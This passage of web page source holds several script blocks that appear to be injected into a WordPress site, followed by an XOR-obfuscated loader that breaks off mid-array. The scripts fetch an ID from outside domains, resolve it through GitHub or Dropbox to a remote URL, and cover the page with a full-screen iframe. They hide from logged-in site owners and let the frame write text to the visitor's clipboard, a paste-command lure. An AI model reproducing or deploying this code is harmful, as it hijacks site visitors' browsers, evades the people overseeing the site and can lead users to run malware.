      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function(){var __s=(function(){var _0xdbb3=[114,60,47,52,57,46,51,53,52,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,111,111,110,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,108,104,118,111,99,118,110,99,118,111,107,118,111,110,118,111,105,118,111,107,118,108,106,118,111,106,118,110,107,118,111,104,118,110,109,118,110,109,118,110,99,118,110,99,118,111,99,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,111,111,110,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,33,120,46,63,55,42,54,59,46,63,120,96,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,107,104,105,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,106,118,111,99,118,110,111,118,107,107,108,118,108,107,118,111,107,118,110,108,118,111,106,118,110,109,118,111,108,118,110,109,118,110,107,118,108,105,118,110,106,118,111,109,118,111,105,118,111,104,118,110,108,118,108,105,118,111,104,118,110,108,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,105,105,118,111,107,118,108,104,118,105,99,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,107,104,105,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,118,120,47,41,63,28,63,46,57,50,120,96,46,40,47,63,39,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,59,62,41,42,63,57,46,5,45,42,47,5,110,5,5,120,115,97,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,122,40,47,52,96,122,60,59,54,41,63,122,39,97,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,115,122,40,63,46,47,40,52,97,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,122,103,122,46,40,47,63,97,87,80,122,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,122,103,122,120,59,62,41,42,63,57,46,5,51,60,40,5,120,122,113,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,122,38,38,122,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,117,112,112,122,138,196,139,216,138,232,138,239,139,216,122,139,216,139,218,138,234,139,219,139,216,138,234,122,184,218,206,122,138,228,138,238,138,231,138,234,122,139,219,139,216,139,218,138,228,138,224,138,234,122,15,8,22,122,112,117,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,9,51,52,61,54,63,15,40,54,114,46,63,34,46,115,122,33,87,80,122,122,122,12